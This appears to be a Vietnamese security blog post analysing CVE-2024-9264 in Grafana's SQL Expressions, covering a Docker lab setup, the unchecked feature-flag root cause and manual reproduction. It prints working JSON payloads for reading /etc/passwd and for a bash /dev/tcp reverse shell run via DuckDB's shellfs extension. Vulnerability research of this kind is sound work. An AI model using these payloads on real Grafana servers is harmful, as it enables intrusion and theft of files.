Post

(Vietnamese) CVE-2024-9264, Grafana Arbitrary File Read and Remote Code Execution via SQL Expressions

My overview analysis for CVE-2024-9264

(Vietnamese) CVE-2024-9264, Grafana Arbitrary File Read and Remote Code Execution via SQL Expressions

https://grafana.com/security/security-advisories/cve-2024-9264/

Overview

Trong bài viết này mình sẽ phân tích CVE-2024-9264, đây là một lỗ hổng được tìm ra trong tính năng thử nghiệm tên là SQL Expressions của Grafana

Về Grafana, đây là một nền tảng mã nguồn mở giúp hiển thị, giám sát và phân tích các thông tin của hệ thống, vì là open-source nên có thể dễ dàng cài đặt, kết nối và tuỳ chỉnh theo nhu cầu nên nó được sử dụng rộng rãi bởi DevOps và SysAdmin

Về DuckDB, nó là một embedded database, open-source và nổi trội với việc được thiết kế tối ưu cho việc xử lý các workload phân tích, không yêu cầu server riêng biệt dễ dàng tích hợp vào ứng dụng => Rất phù hợp với Grafana

Kể từ phiên bản 11.x.y (>=11.0.0), Grafana cho ra mắt nhiều tính năng mới để cải thiện trải nghiệm người dùng, một trong số đó là SQL Expressions. Tính năng này cho phép người dùng Grafana sử dụng các truy vấn SQL để xử lý dữ liệu đầu ra từ datasource nhận vào dưới dạng json, hành động này còn được gọi là post-processing

Bản chất của tính năng SQL Expressions là việc truyền truy vấn SQL (user-input) và dữ liệu tới DuckDB thông qua việc nhúng thư viện của DuckDB vào mã nguồn của Grafana, và DuckDB sẽ thực thi nó và trả về kết quả cho Grafana. Mình sẽ phân tích rõ hơn về cách Grafana đã triển khai tính năng này ở phần Root-cause

Exploit Conditions

Để có thể khai thác thành công CVE-2024-9264, buộc phải thoả mãn những điều kiện dưới đây:

  • User permission: Attacker phải có quyền truy cập vào một tài khoản trong Grafana với quyền hạn từ level viewer trở lên
  • DuckDB: DuckDB phải được cài đặt thủ công bởi Dev và được thêm vào biến môi trường $PATH của Grafana

    Note: DuckDB không đi kèm khi cài Grafana, để có thể khai thác lỗ hổng này buộc phải có điều kiện tiên quyết là DuckDB CLI được cài đặt sẵn bởi Dev

Set up lab environment

Với những điều kiện như đã trình bày bên trên, để mô phỏng được CVE-2024-9264, mình cần cài đặt Grafana, Duckdb và thêm duckdb vào environment path của Grafana. Mình sẽ sử dụng Docker Compose để dựng lại môi trường theo yêu cầu này

Cấu trúc lab demo:

1
2
3
4
.
├── docker-compose.yml
├── Dockerfile
└── poc.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# Dockerfile
# Sử dụng Grafana v11.0.0 làm base image
FROM grafana/grafana:11.0.0-ubuntu

USER root

# Install DuckDB
RUN apt-get update && apt-get install -y && apt-get install unzip -y  \
    wget \
    && wget https://github.com/duckdb/duckdb/releases/download/v1.1.2/duckdb_cli-linux-amd64.zip \
    && unzip duckdb_cli-linux-amd64.zip -d /usr/local/bin/ \
    && chmod +x /usr/local/bin/duckdb \
    && rm duckdb_cli-linux-amd64.zip

# Thêm DuckDB vào biến $PATH để đảm bảo Grafana có thể gọi được DuckDB CLI
ENV PATH="/usr/local/bin:${PATH}"

Cuối cùng, viết một file docker compose để dựng lên service và expose các port tương ứng, ở đây mình sử dụng port 3000 mặc định của Grafana

Source lab demo: https://drive.google.com/drive/folders/1YJhRA_RGmffsBLBKAaLxW2LmJB6XNWkj?usp=drive_link

Root-cause

Trong phần này, mình clone source Grafana v11.0.5 để phân tích và để tiện lợi hơn trong quá trình phân tích, mình có compare source v11.0.5 và v11.0.5-security-01 để kiểm tra xem họ đã patch những gì từ đó đi ngược lại phân tích những vị trí đã được thay đổi để có góc nhìn chính xác hơn

SQL Expressions là một tính năng thử nghiệm vì vậy lẽ ra khi thiết kế nó phải được mặc định là tắt. Tuy nhiên thực tế cho thấy khi triển khai việc bật tắt các tính năng (feature flags), tính năng này đã được bật mặc định ở cấp độ API. Điều này có nghĩa là ngay cả khi người dùng không chủ động sử dụng SQL Expressions trong Grafana, họ vẫn có thể truy cập nó thông qua API

Để phân tích kỹ hơn về các cờ feature flag này, ta sẽ kiểm tra những thứ đã được config trong route /pkg/services/featuremgmt/registry.go, và tại đây ta thấy:

image

Tại dòng 1101 -> 1107, config của sqlExpressions hiện vẫn đang đúng khi nó để giá trị FrontendOnly là false. Điều này có nghĩa là cả front-end lẫn back-end đều có thể đọc được giá trị của flag này và bật tắt tính năng sqlExpressions dựa trên nó

1
2
3
4
5
6
7
{
	Name:         "sqlExpressions",
	Description:  "Enables using SQL and DuckDB functions as Expressions.",
	Stage:        FeatureStageExperimental,
	FrontendOnly: false,
	Owner:        grafanaAppPlatformSquad,
}

Mặc dù config vẫn đúng, thế nhưng khi mình tìm 2 câu gọi kiểm tra trong source code là featuremgmt.IsEnabled("sqlExpressions") hoặc featuremgmt.sqlExpressions thì lại không hề có kết quả? Tức là mặc dù có hàm để kiểm tra sự cho phép bật tắt của sqlExpressions, song hàm này không hề được call bất kỳ 1 lần nào

Hệ quả của việc triển khai không chính xác (incorrect implementation) feature flag dẫn tới việc có sử dụng được sqlExpressions không hoàn toàn phụ thuộc vào config mặc định của hệ thống, và nó đang được kiểm tra như sau:

  • Front-end: trích từ route /conf/default.ini

image

  • Back-end:
1
2
3
4
5
//  /pkg/setting/setting.go
func (cfg *Cfg) readExpressionsSettings() {
	expressions := cfg.Raw.Section("expressions")
	cfg.ExpressionsEnabled = expressions.Key("enabled").MustBool(true)
}
1
2
3
4
// /conf/default.ini
[expressions]
# Enable or disable the expressions functionality.
enabled = true

Và như vậy là ta hoàn toàn có thể kết luận:

  • Ở front-end, việc enable = rỗng khiến UI của sqlExpressions hoàn toàn không được hiển thị
  • Nhưng ở back-end, readExpressionsSettings lấy data từ default.ini, với giá trị enabled = true => sqlExpressions vẫn có thể được sử dụng mặc dù không có trong Grafana UI, ta có thể trigger nó qua API

Tóm lại, ta có thể kết luận root-cause gây ra CVE-2024-9264 là Incorrect Implementation feature flag

Còn đây là cách Grafana v11.0.5 đã triển khai việc thực thi của tính năng SQL Expressions, phần code này nằm tại route /pkg/expr/sql_command.go

image

package expr

import(
    ...
    "github.com/scottlepp/go-duck/duck" // import thư viện để sử dụng DuckDB CLI
    ...
)

...

func (gr *SQLCommand) Execute(ctx context.Context, now time.Time, vars mathexp.Vars, tracer tracing.Tracer) (mathexp.Results, error) {

        ...

	duckDB := duck.NewInMemoryDB()  // NewInMemoryDB là cách khai báo In Memory Database, một cách gọi phô biến của các embedded database giúp dễ dàng thực hiện truy vấn SQL
	var frame = &data.Frame{}
	err := duckDB.QueryFramesInto(gr.refID, gr.query, allFrames, frame) // câu query được người dùng yêu cầu bằng JSON, trích từ "expressions" sau đó được truyền thẳng vào DuckDB mà không được kiểm soát
	if err != nil {
		rsp.Error = err
		return rsp, nil
	}

	frame.RefID = gr.refID

	if frame.Rows() == 0 {
		rsp.Values = mathexp.Values{
			mathexp.NoData{Frame: frame},
		}
	}

	rsp.Values = mathexp.Values{
		mathexp.TableData{Frame: frame},
	}

	return rsp, nil
}

Step to Reproduce

Vì đây là một CVE n-day đã có một vài PoC script trên mạng, mình sẽ tiến hành manual approach tức khai thác lỗ hổng này một cách thủ công

Step 1: Login with an authenticated account

Đăng nhập với một tài khoản bất kỳ, ở đây mình hardcode một tài khoản admin / SecurePassword123!, tiến hành đăng nhập và tiếp tục thực hiện các bước sau

Step 2: Find the API

Tiến hành tạo một custom dashboard với Math hoặc Reduce expression, intercept nó với BurpSuite và ném sang Repeater để chỉnh sửa các trường trong JSON theo mong muốn

image

image

Step 3: Exploit

Với những thông tin mình đã biết từ trước, việc mình cần làm giờ là sửa type trong JSON thành sql, với giá trị của expressions khi này là câu query mình muốn thực thi. Vì nó chưa được validate/sanitize chính xác nên gần như làm gì cũng được, chỉ cần phù hợp với syntax của DuckDB

LFI

Để khai thác LFI, ta sẽ tận dụng read_csv_auto hàm này trả về nội dung file dưới dạng CSV, với payload JSON đầy đủ sẽ trông như thế này:

1
{"queries":[{"datasource":{"type":"__expr__","uid":"__expr__","name":"Expression"},"refId":"B","type":"sql","hide":false,"expression":"SELECT * FROM read_csv_auto(/etc/passwd);","window":""}],"from":"1752557182125","to":"1752578782125"}

image

RCE

Để có thể thực thi mã từ xa, với target ở đây là rev shell thành công. Mình set up listener tại 172.21.118.179, đây là IP của Kali-kex đang chờ kết nối netcat trên port 1337.

Trước tiên ta cần tạo 1 file với nội dung của câu lệnh rev shell, mình tạm ném nó vào /tmp/rev

1
{"queries":[{"refId":"C","datasource":{"type":"__expr__","uid":"__expr__","name":"Expression"},"type":"sql","hide":false,"expression":"SELECT 1;COPY (SELECT 'bash -i >& /dev/tcp/172.21.118.179/1337 0>&1') TO '/tmp/rev';","window":""}],"from":"1752571175798","to":"1752592775798"}

Tiếp tục tận dụng read_csv để thực thi file đã lưu tại /tmp/rev (bản chất theo mình tìm hiểu nó sử dụng popen, một hàm nguy hiểm để đọc file):

1
{"queries":[{"refId":"C","datasource":{"type":"__expr__","uid":"__expr__","name":"Expression"},"type":"sql","hide":false,"expression":"SELECT 1;install shellfs from community;LOAD shellfs;SELECT * FROM read_csv('bash /tmp/rev |');","window":""}],"from":"1752571175798","to":"1752592775798"}

image

References

Vì đây là một lỗ hổng đã có bản vá, người dùng có thể cập nhật lên các phiên bản mới nhất của Grafana để tránh khỏi những tình huống không đáng có!

Tham khảo thêm các thông tin tại:

This post is licensed under CC BY 4.0 by the author.